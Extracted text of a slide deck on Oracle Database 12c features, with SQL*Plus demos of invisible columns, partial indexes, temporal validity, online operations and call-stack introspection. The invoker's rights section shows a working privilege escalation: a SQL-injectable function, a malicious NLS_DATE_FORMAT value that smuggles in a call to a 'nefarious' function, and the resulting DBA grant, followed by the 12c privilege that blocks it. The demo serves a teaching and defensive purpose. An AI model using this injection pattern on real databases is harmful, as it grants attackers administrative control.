Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Small print
The following is intended to outline our general product
Insert Information Protection Policy Classification from Slide 12 of the corporate presentation template
#1 Invisible
Columns
Invisible Columns
ops$tkyte%ORA12CR1> create table t
2 ( x int,
3
y int
4 )
5 /
Table created.
ops$tkyte%ORA12CR1> insert into t values ( 1, 2 );
1 row created.
Invisible Columns
ops$tkyte%ORA12CR1> alter table t add
( z int INVISIBLE );
Table altered.
Invisible Columns
ops$tkyte%ORA12CR1> desc t
Name
Null?
----------------- -------X
Y
Type
-----------NUMBER(38)
NUMBER(38)
Invisible Columns
ops$tkyte%ORA12CR1> insert into t values ( 3, 4 );
1 row created.
Invisible Columns
ops$tkyte%ORA12CR1> select * from t;
X
Y
---------- ---------1
2
3
4
Invisible Columns
ops$tkyte%ORA12CR1> insert into t (x,y,z)
values ( 5,6,7 );
1 row created.
ops$tkyte%ORA12CR1> select x, y, z from t;
X
Y
Z
---------- ---------- ---------1
2
3
4
5
6
7
10Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Invisible Columns
ops$tkyte%ORA12CR1> alter table t modify z visible;
Table altered.
ops$tkyte%ORA12CR1> select * from t;
X
Y
Z
---------- ---------- ---------1
2
3
4
5
6
7
11Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Type
-----------NUMBER(38)
NUMBER(38)
NUMBER(38)
NUMBER(38)
NUMBER(38)
#2 Invokers Rights
Invokers Rights
Invokers Rights routines ran with the privileges of the
invoker
The invoker might be much higher privileged than the
Invokers Rights
create or function seemingly_nice_utility
authid current_user
as
begin
execute immediate grant dba to me;
do_something_useful;
end;
If that seemingly nice routine was executed by a highly
privileged user, the owner of this nice utility would
become a DBA
17Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Invokers Rights
ops$tkyte%ORA12CR1> create or replace
2 function injectable( p_date in date )
3 return number
4 as
5
l_sql varchar2(1000);
6
l_cnt number;
7 begin
8
dbms_output.put_line( 'enter' );
9
l_sql := '
10
select count(*) into :n from all_users
11
where created = ''' || p_date || '''';
12
13
dbms_output.put_line( l_sql );
14
execute immediate l_sql into l_cnt;
15
return l_cnt;
16 end;
Invokers Rights
ops$tkyte%ORA12CR1> exec dbms_output.put_line( injectable( sysdate ) )
enter
select
into
from
where
count(*)
:n
all_users
created = '28-SEP-12'
0
PL/SQL procedure successfully completed.
Invokers Rights
scott%ORA12CR1> create or replace
2 function nefarious
3 return date
4 authid current_user
5 as
6
pragma autonomous_transaction;
7 begin
8
dbms_output.put_line( 'in routine' );
9
execute immediate 'grant dba to scott';
10
dbms_output.put_line( 'granted' );
11
return sysdate;
12 end;
13 /
Function created.
Invokers Rights
scott%ORA12CR1> grant execute on nefarious to ops$tkyte;
Grant succeeded.
scott%ORA12CR1> alter session set nls_date_format = '"'' or scott.nefarious() is not
null--"';
Session altered.
scott%ORA12CR1> select sysdate from dual;
SYSDATE
-----------------------------------' or scott.nefarious() is not null--
Invokers Rights
scott%ORA12CR1> select * from session_roles;
ROLE
-----------------------------CONNECT
RESOURCE
scott%ORA12CR1> exec dbms_output.put_line( ops$tkyte.injectable(sysdate) )
enter
select count(*)
into :n
from all_users
where created = '' or
scott.nefarious() is not null--'
in routine
granted
38
PL/SQL procedure successfully completed.
Invokers Rights
scott%ORA12CR1> connect scott/tiger
Connected.
scott%ORA12CR1> select * from session_roles;
ROLE
-----------------------------CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
XDB_SET_INVOKER
OLAP_DBA
OLAP_XS_ADMIN
PLUSTRACE
22 rows selected.
Not good
23Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Invokers Rights
Two new privileges:
INHERIT PRIVILEGES
By default PUBLIC has INHERIT PRIVILEGES on all newly
Consider
Invokers Rights
scott%PDB1> exec dbms_output.put_line( ops$tkyte.injectable(sysdate) )
enter
select count(*)
into :n
from all_users
where created = ''
or scott.nefarious() is not null--'
BEGIN dbms_output.put_line( ops$tkyte.injectable(sysdate) ); END;
*
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SCOTT.NEFARIOUS", line 1
ORA-06512: at "OPS$TKYTE.INJECTABLE", line 15
ORA-06512: at line 1
#3 Multiple Same
Column Indexes
Indexing
ops$tkyte%ORA11GR2> create table t ( x int, y int, z int );
Table created.
ops$tkyte%ORA11GR2> create index t_idx on t(x,y);
Index created.
ops$tkyte%ORA11GR2> create bitmap index t_idx2 on t(x,y);
create bitmap index t_idx2 on t(x,y)
*
ERROR at line 1:
ORA-01408: such column list already indexed
ops$tkyte%ORA11GR2> create bitmap index t_idx2 on t(x,y) invisible;
create bitmap index t_idx2 on t(x,y) invisible
*
ERROR at line 1:
ORA-01408: such column list already indexed
Indexing
ops$tkyte%ORA12CR1> create table t ( x int, y int, z int );
Table created.
ops$tkyte%ORA12CR1> create index t_idx on t(x,y);
Index created.
ops$tkyte%ORA12CR1> create bitmap index t_idx2 on t(x,y) invisible;
Index created.
Indexing
ops$tkyte%ORA12CR1> alter session set
optimizer_use_invisible_indexes=true;
Session altered.
ops$tkyte%ORA12CR1> exec dbms_stats.set_table_stats
( user, 'T', numrows => 1000000, numblks => 100000 );
PL/SQL procedure successfully completed.
Indexing
ops$tkyte%ORA12CR1> set autotrace traceonly explain
ops$tkyte%ORA12CR1> select count(*) from t;
--------------------------------------------------------------------| Id | Operation
| Name
| Rows | Cost (%CPU)|
--------------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
1 |
0
(0)|
|
1 | SORT AGGREGATE
|
|
1 |
|
|
2 |
BITMAP CONVERSION COUNT
|
| 1000K|
|
|
3 |
BITMAP INDEX FAST FULL SCAN| T_IDX2 |
|
|
---------------------------------------------------------------------
#4 Temporal
Validity
Temporal Validity
ops$tkyte%ORA12CR1> create table addresses
2 ( empno
number,
3
addr_data
varchar2(30),
4
start_date date,
5
end_date
date,
6
period for valid(start_date,end_date)
7 )
8 /
Table created.
Temporal Validity
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '123 Main Street', trunc(sysdate-5), trunc(sysdate-2) );
1 row created.
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '456 Fleet Street', trunc(sysdate-1), trunc(sysdate+1) );
1 row created.
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '789 1st Ave', trunc(sysdate+2), null );
1 row created.
Temporal Validity
ops$tkyte%ORA12CR1> select * from addresses;
EMPNO
---------1234
1234
1234
ADDR_DATA
-----------------------------123 Main Street
456 Fleet Street
789 1st Ave
START_DAT
--------12-MAY-13
16-MAY-13
19-MAY-13
END_DATE
--------15-MAY-13
18-MAY-13
Temporal Validity
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate-3;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 123 Main Street
12-MAY-13 15-MAY-13
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 456 Fleet Street
16-MAY-13 18-MAY-13
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate+3;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 789 1st Ave
19-MAY-13
#5 SQL Text
Expansion
#6 Partial Indexes
Full Indexing
Complementary to full
indexing
Enhanced business
modeling
Table
Partition
Table
Partition
Table
Partition
Indexing off
No Indexing
Partial Indexing
ops$tkyte%ORA12CR1> create table t
2 ( a int,
3
b int,
4
c int,
5
d int,
6
e int
7 )
8 partition by range (a)
9 (partition p1 values less than (100) indexing on,
10
partition p2 values less than (200) indexing off,
11
partition p3 values less than (300) indexing on
12 );
Table created.
Partial Indexing
ops$tkyte%ORA12CR1> begin
2
dbms_stats.set_table_stats
3
( user, 'T', numrows=> 1000000, numblks => 100000 );
4 end;
5 /
PL/SQL procedure successfully completed.
ops$tkyte%ORA12CR1> select partition_name, high_value, indexing
2
from user_tab_partitions
3
where table_name = 'T';
PARTITION_
---------P1
P2
P3
HIGH_VALUE
---------100
200
300
INDE
---ON
OFF
ON
Partial Indexing
ops$tkyte%ORA12CR1> create index t_idx_b on t(b) local
Index created.
indexing partial;
Partial Indexing
ops$tkyte%ORA12CR1> select index_name, partition_name, status
2
from user_ind_partitions
3
where index_name in ( 'T_IDX_B', 'T_IDX_C' )
4
order by 1,2;
INDEX_NAME
---------T_IDX_B
T_IDX_B
T_IDX_B
PARTITION_
---------P1
P2
P3
STATUS
-------USABLE
UNUSABLE
USABLE
T_IDX_C
T_IDX_C
T_IDX_C
P1
P2
P3
USABLE
USABLE
USABLE
6 rows selected.
Partial Indexing
ops$tkyte%ORA12CR1> select index_name, indexing, status
2
from user_indexes
3
where index_name in ( 'T_IDX_D', 'T_IDX_E' )
4
order by 1;
INDEX_NAME
---------T_IDX_D
T_IDX_E
INDEXIN
------PARTIAL
FULL
STATUS
-------VALID
VALID
Partial Indexing
ops$tkyte%ORA12CR1> select count(*) from t where b = 2;
-----------------------------------------------------------------------------------------| Id | Operation
| Name
| Rows | Pstart| Pstop |
-----------------------------------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
|
|
|
|
1 | SORT AGGREGATE
|
|
1 |
|
|
|
2 |
VIEW
| VW_TE_2 |
549 |
|
|
|
3 |
UNION-ALL
|
|
|
|
|
|
4 |
PARTITION RANGE OR
|
|
524 | KEY(OR)|KEY(OR)|
|* 5 |
TABLE ACCESS BY LOCAL INDEX ROWID BATCHED| T
|
524 | KEY(OR)|KEY(OR)|
|* 6 |
INDEX RANGE SCAN
| T_IDX_B |
1 | KEY(OR)|KEY(OR)|
|
7 |
PARTITION RANGE SINGLE
|
|
25 |
2 |
2 |
|* 8 |
TABLE ACCESS FULL
| T
|
25 |
2 |
2 |
-----------------------------------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------5 - filter(("T"."A"<100 OR ("T"."A">=200 AND "T"."A"<300)))
6 - access("B"=2)
8 - filter("B"=2)
Partial Indexing
ops$tkyte%ORA12CR1>
------------------------------------------------------------------------------|Id | Operation
|Name
| Rows |Pstart|Pstop|
------------------------------------------------------------------------------| 0| SELECT STATEMENT
|
|
|
|
|
| 1| SORT AGGREGATE
|
|
1|
|
|
|* 2|
TABLE ACCESS BY GLOBAL INDEX ROWID BATCHED|T
|
100|
1 |
1|
|* 3|
INDEX RANGE SCAN
|T_IDX_D|
1|
|
|
------------------------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------2 - filter("A"=1)
3 - access("D"=2)
Partial Indexing
ops$tkyte%ORA12CR1> select count(*) from t where d = 2 and a = 101;
----------------------------------------------------------------| Id | Operation
| Name | Rows || Pstart| Pstop |
----------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
||
|
|
|
1 | SORT AGGREGATE
|
|
1 ||
|
|
|
2 |
PARTITION RANGE SINGLE|
|
100 ||
2 |
2 |
|* 3 |
TABLE ACCESS FULL
| T
|
100 ||
2 |
2 |
----------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------3 - filter(("D"=2 AND "A"=101))
#7 Online
Operations
Online Operations
ops$tkyte%ORA12CR1> create table t
2 ( a int,
3
b int,
4
c int,
5
d int
6 )
7 /
Table created.
ops$tkyte%ORA12CR1> insert into t values ( 1, 2, 3, 4 );
1 row created.
ops$tkyte%ORA12CR1> commit;
Commit complete.
Online Operations
ops$tkyte%ORA12CR1> update t set b = 42;
1 row updated.
ops$tkyte%ORA12CR1> select * from t;
A
B
C
D
---------- ---------- ---------- ---------1
42
3
4
Online Operations
ops$tkyte%ORA12CR1> declare
2
pragma autonomous_transaction;
3 begin
4
execute immediate 'alter table t set unused column d online';
5 end;
6 /
PL/SQL procedure successfully completed.
Online Operations
ops$tkyte%ORA12CR1> select * from t;
A
B
C
---------- ---------- ---------1
42
3
ops$tkyte%ORA12CR1> rollback;
Rollback complete.
ops$tkyte%ORA12CR1> select * from t;
A
B
C
---------- ---------- ---------1
2
3
#8 Implicit Result
Sets
DNAME
-------------ACCOUNTING
RESEARCH
SALES
OPERATIONS
LOC
------------NEW YORK
DALLAS
CHICAGO
BOSTON
#9 Easier Reorgs
Easier Reorgs
Easier Reorgs
ops$tkyte%ORA12CR1> create table t
2 tablespace users
3 as
4 select *
5
from all_objects;
Table created.
ops$tkyte%ORA12CR1> create index t_idx on t(object_name);
Index created.
ops$tkyte%ORA12CR1> alter table t add constraint
t_pk primary key(object_id);
Table altered.
Easier Reorgs
ops$tkyte%ORA12CR1> select index_name, status
2
from user_indexes
3
where table_name = 'T';
INDEX_NAME
---------T_PK
T_IDX
STATUS
---------VALID
VALID
Full Blocks
.....................
Total Blocks............................
Total MBytes............................
1,373
1,408
11
Easier Reorgs
ops$tkyte%ORA12CR1> begin
2 dbms_redefinition.redef_table
3 ( uname
=> user,
4
tname
=> 'T',
5
table_compression_type => 'row store compress advanced',
6
table_part_tablespace => 'TEST' );
7 end;
8 /
PL/SQL procedure successfully completed.
Easier Reorgs
ops$tkyte%ORA12CR1> select index_name, status
2
from user_indexes
3
where table_name = 'T';
INDEX_NAME
---------T_PK
T_IDX
STATUS
---------VALID
VALID
Full Blocks
.....................
Total Blocks............................
Total MBytes............................
382
512
4
#10 Improved
Introspection
Improved Introspection
Before 12.1, you used three functions in the
DBMS_Utility package
Format_Call_Stack()
Format_Error_Stack()
Format_Error_Backtrace()
New in 12.1
The package UTL_Call_Stack solves the
Improved Introspection
package body Pkg is
procedure p is
procedure q is
procedure r is
procedure p is
begin
Print_Call_Stack();
end p;
begin
p();
end r;
begin
r();
end q;
begin
q();
end p;
end Pkg;
Improved Introspection
procedure Print_Call_Stack authid Definer is
Depth pls_integer := UTL_Call_Stack.Dynamic_Depth();
begin
DBMS_Output.Put_Line(DBMS_Utility.Format_Call_Stack());
end;
----- PL/SQL Call Stack ----object
line object
handle
number name
0x631f6e88
12 procedure USR.PRINT_CALL_STACK
0x68587700
7 package body USR.PKG
0x68587700
10 package body USR.PKG
0x68587700
13 package body USR.PKG
0x68587700
16 package body USR.PKG
0x69253ca8
1 anonymous block
76Copyright 2012, Oracle and/or its affiliates. All rights reserved.
Improved Introspection
procedure Print_Call_Stack authid Definer is
Depth pls_integer := UTL_Call_Stack.Dynamic_Depth();
begin
for j in reverse 2..Depth loop
DBMS_Output.Put_Line(
(j - 1)||
To_Char(UTL_Call_Stack.Unit_Line(j), '99')||
UTL_Call_Stack.Concatenate_Subprogram
UTL_Call_Stack.Subprogram(j)));
end loop;
end;
5
4
3
2
1
1
16
13
10
7
__anonymous_block
PKG.P
PKG.P.Q
PKG.P.Q.R
PKG.P.Q.R.P
Expanded Syntax
Cross Apply
Outer Apply
Lateral
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d cross apply (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
DNAME
-------------ACCOUNTING
ACCOUNTING
ACCOUNTING
ENAME
---------CLARK
MILLER
KING
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d outer apply (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
40
DNAME
-------------ACCOUNTING
ACCOUNTING
ACCOUNTING
OPERATIONS
ENAME
---------CLARK
KING
MILLER
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d, lateral (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
DNAME
-------------ACCOUNTING
ACCOUNTING
ACCOUNTING
ENAME
---------CLARK
MILLER
KING
#12 SQL
Esperanto
DNAME
-------------ACCOUNTING
RESEARCH
SALES
OPERATIONS
LOC
------------NEW YORK
DALLAS
CHICAGO
BOSTON
Insert Information Protection Policy Classification from Slide 12 of the corporate presentation template